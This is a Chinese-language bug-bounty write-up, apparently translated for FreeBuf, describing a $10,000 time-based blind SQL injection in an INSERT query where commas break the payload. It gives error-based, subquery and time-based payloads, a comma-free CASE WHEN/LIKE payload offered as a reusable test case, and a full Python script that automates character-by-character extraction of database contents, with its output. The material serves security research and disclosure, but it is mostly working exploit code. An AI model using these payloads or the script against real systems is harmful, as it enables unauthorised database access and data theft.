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一次INSERT查询的无逗号SQL注入漏洞构造利用($10k)

2019-04-20 18:14 clouds

本文分享的是作者在一次众测中的SQL报错型注入漏洞发现过程,有趣之处在于,在后续漏洞利用的构造中,如果在目标服务端数据库逻辑的INSERT查询中使用逗号(Comma),将导致构造的Payload不可用,这种情况下,作者通过综合Time-based注入、Case When和Like操作成功实现了SQL注入,漏洞获得了厂商$10,000美金的奖励。

漏洞介绍

INSERT查询或UPDATE型SQL注入漏洞也算是比较常见的了,在任何SQL注入漏洞中,原因都是由于不安全的用户输入传递给了后端数据查询。此次测试数据库中的用户输入逻辑大概可以这样描述:

 
           
$email=$_POST['email'];$name=$_POST['name'];$review=$_POST['review'];$query="insert into reviews(review,email,name) values ('$review','$email','$name')";mysql_query($query,$conn);

依上所看,其对应的请求体应该是这样的:

 
           
review=test review&email=info@example.com&name=test name

所以,经分析,可能存在以下的INSERT列插入语句:

 
           
insert into reviews(review,email,name) values ('test review','info@example.com','test name')

最终,在目标数据库中形成的结果就是:

 
           
MariaDB [dummydb]> insert into reviews(review,email,name) values ('test review','info@example.com','test name');Query OK, 1 row affected (0.001 sec)MariaDB [dummydb]> select * from reviews;+-------------+------------------+-----------+| review | email | name |+-------------+------------------+-----------+| test review | info@example.com | test name |+-------------+------------------+-----------+1 row in set (0.000 sec)

综上所述,在此,我们就有三种方法来对这个数据库逻辑进行漏洞注入构造。

用extractvalue方法构造的报错型注入

可以把上述分析中的review、email、name三个列插入值换成:

 
           
test review' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1

这种构造情况,会形成一个泄露目标数据库的SQL报错注入:

 
           
MariaDB [dummydb]> insert into reviews(review,email,name) values ('test review' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1','info@example.com','test name');ERROR 1105 (HY000): XPATH syntax error: 'dummydb'

使用子查询 (Subquery)

基于以上报错型注入,我们可以进一步利用子查询 (Subquery)方式去读取数据库内容,并把它显示在插入列的内容中。例如,我们把review这个列的值构造为:

 
           
jnk review',(select user()),'dummy name')-- -

那么,最后的插入查询语句会是:

 
           
insert into reviews(review,email,name) values ('jnk review',(select user()),'dummy name')-- -,'info@example.com','test name');

仔细看,由于其中存在注释符 —,所以,,’info@example.com’,’test name’); 就会被注释掉,而其中的(select user())是对当前数据库用户的查询请求,一般会是root@localhost。所以,运行上述插入查询语句之后,数据库中review、email、name三列内容就会相应成为:jnk review、root@localhost、dummy name,非常容易理解。如下:

 
           
MariaDB [dummydb]> insert into reviews(review,email,name) values ('jnk review',(select user()),'dummy name');--,'info@example.com','test name');Query OK, 1 row affected (0.001 sec)MariaDB [dummydb]> select * from reviews;+-------------+------------------+------------+| review | email | name |+-------------+------------------+------------+| test review | info@example.com | test name || jnk review | root@localhost | dummy name |+-------------+------------------+------------+2 rows in set (0.000 sec)MariaDB [dummydb]>

Time-based的盲注构造

以上的构造Payload只能说明数据库内部的一个处理逻辑,但在应用端来看不能导致报错,而且也无法回显我们的插入语句结果,甚至是根本没法知道我们的插入语句是否是true 或false的情况,基于此,我们可以对它进行Time-based的盲注构造,结合If语句和substring方法,有以下Payload:

 
           
xxx'-(IF((substring((select database()),1,1)) = 'd', sleep(5), 0))-'xxxx

如果查询语句为真,那么其后端数据库就会休眠5秒后才输出回显结果,用这种判断方式,我们可以来推断出数据库中的具体架构方式。具体方法可参考detectify实验室的 sqli-in-insert-worse-than-select。

综合分析

有了以上的分析,总体的漏洞利用应该不成问题了,但是,在我当前测试的目标数据库中,其存在注入漏洞的参数是urls[] 和 methods[],而且它们的值都是用逗号 -“,”进行分隔的,我按照以上分析的Payload构造进行测试后发现,其中的逗号会破坏我们的Payload构造,最终会导致注入利用不成功。

以目标数据库的以下逻辑来说:

$urls_input=$_POST['urls'];$urls = explode(",", $urls_input);print_r($urls);foreach($urls as $url){ mysql_query("insert into xxxxxx (url,method) values ('$url','method')")}
如果我们按照
之前分析的Payload构造进行测试,我们把其中的urls值替换为:
 
           
xxx'-(IF((substring((select database()),1,1)) = 'd', sleep(5), 0))-'xxxx

那么由于逗号的存在,目标数据库后端的运行处理模式就会是:

 
           
Array( [0] => xxx'-(IF((substring((select database()) [1] => 1 [2] => 1)) = 'd' [3] => sleep(5) [4] => 0))-'xxxx)

所以,由于逗号的分隔作用,这样的处理也就无法形成我们的注入利用了。

解决方法

所以,这样来看,我们的Payload中必须不能包含逗号。第一步,我们需要找到一个代替IF条件且能用逗号和其它语句共同作用的方法语句。这里的话,选用case when比较适合,所以这里利用它的一个基本用法为:

 
           
MariaDB [dummydb]> select CASE WHEN ((select substring('111',1,1)='1')) THEN (sleep(3)) ELSE 2 END;+--------------------------------------------------------------------------+| CASE WHEN ((select substring('111',1,1)='1')) THEN (sleep(3)) ELSE 2 END |+--------------------------------------------------------------------------+| 0 |+--------------------------------------------------------------------------+1 row in set (3.001 sec)

如果我们构造查询的语句为真,那么,数据库就会休眠3秒执行输出。

另外,我们还要找到代替substring的方法,那么,我们可以用Like操作来实现,比如以下逻辑:

 
           
MariaDB [dummydb]> select CASE WHEN ((select database()) like 'd%') THEN (sleep(3)) ELSE 2 END;+----------------------------------------------------------------------+| CASE WHEN ((select database()) like 'd%') THEN (sleep(3)) ELSE 2 END |+----------------------------------------------------------------------+| 0 |+----------------------------------------------------------------------+1 row in set (3.001 sec)

其中的((select database()) like ‘d%’) 意思是,选取出的以 d 开头的模式字符串,如果这种模式匹配存在,数据库就会休眠3秒后输出。

所以,最后的综合就是把这个查询和INSERT连接在一起,出于测试保密原则,隐去目标主站,最终的Payload利用链接为:

 
           
http://xxxxxxxx/'-(select CASE WHEN ((select database()) like 'd%') THEN (sleep(4)) ELSE 2 END)-'xxx

这种Payload利用中,可以把CASE WHEN和Like操作设置为对字符串(Char)的暴力破解,所以,最后成型的Payload是这样的:

 
           
urls[]=xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'

漏洞利用

对以上Payload进行手动测试会是一件非常耗时的事,所以,我编写了以下的Python脚本对它进行一个自动化利用:

 
           
import requestsimport sysimport time# xxxxxxxxxexample.com SQLi POC# Coded by Ahmed Sultan (0x4148)if len(sys.argv) == 1: print '''Usage : python sql.py "QUERY"Example : python sql.py "(select database)" ''' sys.exit()query=sys.argv[1]print "[*] Obtaining length"url = "https://xxxxxxxxxexample.com:443/sub"headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate","Cookie": 'xxxxxxxxxxxxxxxxxxx',"Referer": "https://www.xxxxxxxxxexample.com:443/","Host": "www.xxxxxxxxxexample.com","Connection": "close","X-Requested-With":"XMLHttpRequest","Content-Type": "application/x-www-form-urlencoded"}for i in range(1,100): current_time=time.time() data={"methods[]": "on-site", "urls[]": "jnkfooo'-cast((select CASE WHEN ((select length("+query+"))="+str(i)+") THEN (sleep(1)) ELSE 2 END) as char)-'"} response=requests.post(url, headers=headers, data=data).text response_time=time.time() time_taken=response_time-current_time print "Executing jnkfooo'-cast((select CASE WHEN ((select length("+query+"))="+str(i)+") THEN (sleep(1)) ELSE 2 END) as char)-'"+" took "+str(time_taken) if time_taken > 2: print "[+] Length of DB query output is : "+str(i) length=i+1 break i=i+1print "[*] obtaining query output\n"outp=''#Obtaining query outputcharset="abcdefghijklmnopqrstuvwxyz0123456789.ABCDEFGHIJKLMNOPQRSTUVWXYZ_@-."for i in range(1,length): for char in charset: current_time=time.time() data={"methods[]": "on-site", "urls[]": "jnkfooo'-cast((select CASE WHEN ("+query+" like '"+outp+char+"%') THEN (sleep(1)) ELSE 2 END) as char)-'"} response=requests.post(url, headers=headers, data=data).text response_time=time.time() time_taken=response_time-current_time print "Executing jnkfooo'-cast((select CASE WHEN ("+query+" like '"+outp+char+"%') THEN (sleep(1)) ELSE 2 END) as char)-' took "+str(time_taken) if time_taken > 2: print "Got '"+char+"'" outp=outp+char break i=i+1print "QUERY output : "+outp

脚本利用示例:

 
           
[19:38:36] root:/tmp # python sql7.py '(select "abc")'[*] Obtaining lengthExecuting jnkfooo'-cast((select CASE WHEN ((select length((select "abc")))=1) THEN (sleep(1)) ELSE 2 END) as char)-' took 0.538205862045Executing jnkfooo'-cast((select CASE WHEN ((select length((select "abc")))=2) THEN (sleep(1)) ELSE 2 END) as char)-' took 0.531971931458Executing jnkfooo'-cast((select CASE WHEN ((select length((select "abc")))=3) THEN (sleep(1)) ELSE 2 END) as char)-' took 5.55048894882[+] Length of DB query output is : 3[*] obtaining query outputExecuting jnkfooo'-cast((select CASE WHEN ((select "abc") like 'a%') THEN (sleep(1)) ELSE 2 END) as char)-' took 5.5701880455Got 'a'Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'aa%') THEN (sleep(1)) ELSE 2 END) as char)-' took 0.635061979294Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'ab%') THEN (sleep(1)) ELSE 2 END) as char)-' took 5.61513400078Got 'b'Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'aba%') THEN (sleep(1)) ELSE 2 END) as char)-' took 0.565879821777Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'abb%') THEN (sleep(1)) ELSE 2 END) as char)-' took 0.553005933762Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'abc%') THEN (sleep(1)) ELSE 2 END) as char)-' took 5.6208281517Got 'c'QUERY output : abc

最终,该漏洞获得目标测试厂商$10,000美金的奖励:

最终的那个SQL注入测试Payload,可以当成你注入测试时的一个用例:

 
           
xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'

*参考来源:redforce,clouds编译,转载请注明来自FreeBuf.COM

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